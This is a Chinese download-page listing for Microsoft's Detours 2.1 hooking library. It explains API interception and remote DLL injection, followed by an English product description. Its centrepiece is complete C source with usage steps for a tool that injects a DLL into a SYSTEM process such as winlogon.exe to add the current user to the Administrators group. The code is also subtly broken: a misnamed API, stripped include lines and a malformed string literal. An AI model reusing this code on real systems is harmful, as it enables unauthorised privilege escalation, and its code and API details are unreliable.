文件名称:detour 2.1
文件大小:352KB
文件格式:RAR
更新时间:2013-08-05 11:23:21
detour 2.1
Detours是微软开发的一个函数库, 用于修改运行中的程序在内存中的影像,从而即使没有源代码也能改变程序的行为。具体用途是: 拦截WIN32 API调用,将其引导到自己的子程序,从而实现WIN32 API的定制。 为一个已在运行的进程创建一新线程,装入自己的代码并运行。 ---- 本文将简介Detours的原理,Detours库函数的用法, 并利用Detours库函数在Windows NT上编写了一个程序,该程序能使有“调试程序”的用户权限的用户成为系统管理员,附录利用Detours库函数修改该程序使普通用户即可成为系统管理员 (在NT4 SP3上)。 一. Detours的原理 ---- 1. WIN32进程的内存管理 ---- 总所周知,WINDOWS NT实现了虚拟存储器,每一WIN32进程拥有4GB的虚存空间, 关于WIN32进程的虚存结构及其操作的具体细节请参阅WIN32 API手册, 以下仅指出与Detours相关的几点: ---- (1) 进程要执行的指令也放在虚存空间中 ---- (2) 可以使用QueryProtectEx函数把存放指令的页面的权限更改为可读可写可执行,再改写其内容,从而修改正在运行的程序 ---- (3) 可以使用VirtualAllocEx从一个进程为另一正运行的进程分配虚存,再使用 QueryProtectEx函数把页面的权限更改为可读可写可执行,并把要执行的指令以二进制机器码的形式写入,从而为一个正在运行的进程注入任意的代码 ---- 2. 拦截WIN32 API的原理 ---- Detours定义了三个概念: ---- (1) Target函数:要拦截的函数,通常为Windows的API。 ---- (2) Trampoline函数:Target函数的复制品。因为Detours将会改写Target函数,所以先把Target函数复制保存好,一方面仍然保存Target函数的过程调用语义,另一方面便于以后的恢复。 ---- (3) Detour 函数:用来替代Target函数的函数。 ---- Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指令(共5个字节)把对Target函数的调用引导到自己的Detour函数, 把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+5作为Trampoline函数。例子如下: 拦截前:Target _ Function: ;Target函数入口,以下为假想的常见的子程序入口代码 push ebp mov ebp, esp push eax push ebx Trampoline: ;以下是Target函数的继续部分 …… 拦截后: Target _ Function: jmp Detour_Function Trampoline: ;以下是Target函数的继续部分 …… Trampoline_Function: ; Trampoline函数入口, 开头的5个字节与Target函数相同 push ebp mov ebp, esp push eax push ebx ;跳回去继续执行Target函数 jmp Target_Function+5 ---- 3. 为一个已在运行的进程装入一个DLL ---- 以下是其步骤: ---- (1) 创建一个ThreadFuction,内容仅是调用LoadLibrary。 ---- (2) 用VirtualAllocEx为一个已在运行的进程分配一片虚存,并把权限更改为可读可写可执行。 ---- (3) 把ThreadFuction的二进制机器码写入这片虚存。 ---- (4) 用CreateRemoteThread在该进程上创建一个线程,传入前面分配的虚存的起始地址作为线程函数的地址,即可为一个已在运行的进程装入一个DLL。通过DllMain 即可在一个已在运行的进程中运行自己的代码。 二. Detours库函数的用法 ---- 因为Detours软件包并没有附带帮助文件,以下接口仅从剖析源代码得出。 ---- 1. PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction) ---- 功能:从一DLL中找出一函数的入口地址 ---- 参数:pszModule是DLL名,pszFunction是函数名。 ---- 返回:名为pszModule的DLL的名为pszFunction的函数的入口地址 ---- 说明:DetourFindFunction除使用GetProcAddress外,还直接分析DLL的文件头,因此可以找到一些GetProcAddress找不到的函数入口。 ---- 2. DETOUR_TRAMPOLINE(trampoline_prototype, target_name) ---- 功能:该宏把名为target_name 的Target函数生成Trampoline函数,以后调用 trampoline_prototype在语义上等于调用Target函数。 ---- 3. BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour) ---- 功能:用Detour 函数拦截Target函数 ---- 参数:pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype,pbDetour是 Detour 函数的入口地址。 ---- 4. BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour) ---- 功能:恢复Target函数 ---- 参数:pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype,pbDetour是 Detour 函数的入口地址。 ---- 5. BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName) ---- 功能:为一个已在运行的进程装入一个DLL ---- 参数:hProcess是进程的句柄,lpDllName是要装入的DLL名 三. 程序实例 ---- 以一个能使有“调试程序”的用户权限的用户成为系统管理员的程序做例子说明Detours 库函数的用法。程序的设计思路是找一个以System帐号运行的进程,如spoolss.exe, rpcss.exe, winlogon.exe, service.exe等,使用ContinueProcessWithDll在其中注入把当前用户加入到 Administrators本地组的DLL,因为该DLL在这些进程的安全上下文环境运行,所以有相应的权限。 ---- 先编写相应的DLL: /*admin.dll, 当进程装入时会把名为szAccountName 的用户加入到Administrators本地组。*/ #include #include #include #include /*以下创建一共享段实现进程间的数据通讯, szAccountName 是用户名,bPrepared说明 szAccountName是否已初始化。*/ #pragma data_seg(".MYSHARE") BOOL bPrepared=FALSE; wchar_t szAccountName[100]={0}; #pragma data_seg() #pragma comment(linker, "/SECTION:.MYSHARE,RWS") /*程序调用SetAccountName设置要加入到Administrators 本地组的用户名,并通知DllMain 已初始化szAccountName , 以后被装入时可调用ElevatePriv */ __declspec(dllexport) VOID WINAPI SetAccountName(wchar_t *Name) { wcscpy(szAccountName,Name); bPrepared=TRUE; } /*把名为szAccountName的用户加入 到Administrators本地组*/ __declspec(dllexport) VOID WINAPI ElevatePriv() { LOCALGROUP_MEMBERS_INFO_3 account; account.lgrmi3_domainandname=szAccountName; NetLocalGroupAddMembers(NULL,L"Administrators", 3,(LPBYTE)&account,1); } __declspec(dllexport) ULONG WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, PVOID lpReserved) { switch (dwReason) { case DLL_THREAD_ATTACH: if (bPrepared) ElevatePriv(); } return TRUE; } 程序如下: /*AddMeToAdministrators.exe 把当前用户加入到 Administrators本地组。使用方法为:(1) ---- 运行任务管理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的进程ID (2)执行AddMeToAdministrators.exe procid, 其中procid为(1)记下的进程ID (3)签退再签到,运行用户管理器,即可发现自己已在Administrators本地组中。*/ #include #include #include #include #include extern VOID WINAPI SetAccountName(wchar_t *Name); /* GetCurrentUser得到自己的用户名称*/ void GetCurrentUser(wchar_t *szName) { HANDLE hProcess, hAccessToken; wchar_t InfoBuffer[1000],szAccountName[200], szDomainName[200]; PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer; DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200; SID_NAME_USE snu; hProcess = GetCurrentProcess(); OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken); GetTokenInformation(hAccessToken,TokenUser, InfoBuffer, 1000, &dwInfoBufferSize); LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName, &dwAccountSize,szDomainName, &dwDomainSize, &snu); wcscpy(szName,szDomainName); wcscat(szName,L"\"); wcscat(szName,szAccountName); } /* EnablePrivilege启用自己的“调试程序”的用户权限*/ BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable) { HANDLE hToken; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE; TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL, szPrivName, &tp.Privileges[0].Luid); tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); return((GetLastError() == ERROR_SUCCESS)); } int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR lpszCmdLine, int nCmdShow) { INT argc; WCHAR **argv; argv = CommandLineToArgvW(GetCommandLineW(), &argc); INT nProcessId = -1; if (argc!=2){ wprintf(L"usage %s pid", argv[0]); return 1; } nProcessId = _wtoi(argv[1]); printf("%d ",nProcessId); ---- /*要成功执行ContinueProcessWithDll,要对winlogon.exe等进程的进程句柄有读写存储器内容和创建线程的权限,EnablePrivilege使本进程有这样的权利。*/ if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){ printf("AdjustTokenPrivilege Fail %u ", (UINT)GetLastError()); return 1; } HANDLE gNewHandle = OpenProcess(PROCESS_ALL_ACCESS , TRUE, nProcessId); if (!gNewHandle){ printf("OpenProcess Fail %u ", (UINT)GetLastError()); return 1; } wchar_t szName[100]; GetCurrentUser(szName); SetAccountName(szName); If (!ContinueProcessWithDll(gNewHandle, L"c:\temp\admin.dll")) { printf("ContinueProcessWithDll failed %u", (UINT)GetLastError()); return 3; } return 0; } ---- 因为“调试程序”的用户权限缺省情况下仅赋予给管理员,因此并不会造成安全漏洞。但该程序揭示出“调试程序”的用户权限其实是至高无上的用户权限,只能授予给可信用户。 四. 结论 ---- Detours是一强大的工具,提供了简单易用的函数接口来拦截WIN32 API调用和为一个已在运行的进程装入一个DLL。 Detours Software packaged for detouring Win32 and application APIs. What's New? Detours 2.1 is now available. Detours 2.1 includes the following new features: Complete documentation of the Detours API. Transactional model for attaching and detaching detours. Support for updating peer threads when attaching or detaching detours. Unification of dynamic and static detours into a single API. Support for detection of detoured processes. Significant robustness improvements in APIs that start a process with a DLL containing detour functions. New APIs to copy payloads into target processes. Support for 64-bit code on x64 and IA64 processors (available in Professional edition only). Supports building detours with Visual Studio 2005, Visual Studio .NET 2003, Visual Studio .NET (VC8), and Visual Studio (VC7). Detours 2.1 comes in two editions: Detours Express 2.1 is available for immediate download under a no-fee, click-through license for research, non-commercial, and non-production use on 32-bit code. Detours Professional 2.1 includes a license for use in production environments and the right to distribute detour functions in products. In addition to support for 32-bit x86 code, Detours Professional 2.1 includes support for 64-bit code on x64 and IA64 processors. For information on licensing Detours Professional 2.1 visit Microsoft's IP Licensing Group at www.microsoft.com/iplicensing and search under Detours. Overview Innovative systems research hinges on the ability to easily instrument and extend existing operating system and application functionality. With access to appropriate source code, it is often trivial to insert new instrumentation or extensions by rebuilding the OS or application. However, in today's world systems researchers seldom have access to all relevant source code. Detours is a library for instrumenting arbitrary Win32 functions on x86, x64, and IA64 machines. Detours intercepts Win32 functions by re-writing the in-memory code for target functions. The Detours package also contains utilities to attach arbitrary DLLs and data segments (called payloads) to any Win32 binary. Detours preserves the un-instrumented target function (callable through a trampoline) as a subroutine for use by the instrumentation. Our trampoline design enables a large class of innovative extensions to existing binary software. We have used Detours to create an automatic distributed partitioning system, to instrument and analyze the DCOM protocol stack, and to create a thunking layer for a COM-based OS API. Detours is used widely within Microsoft and within the industry.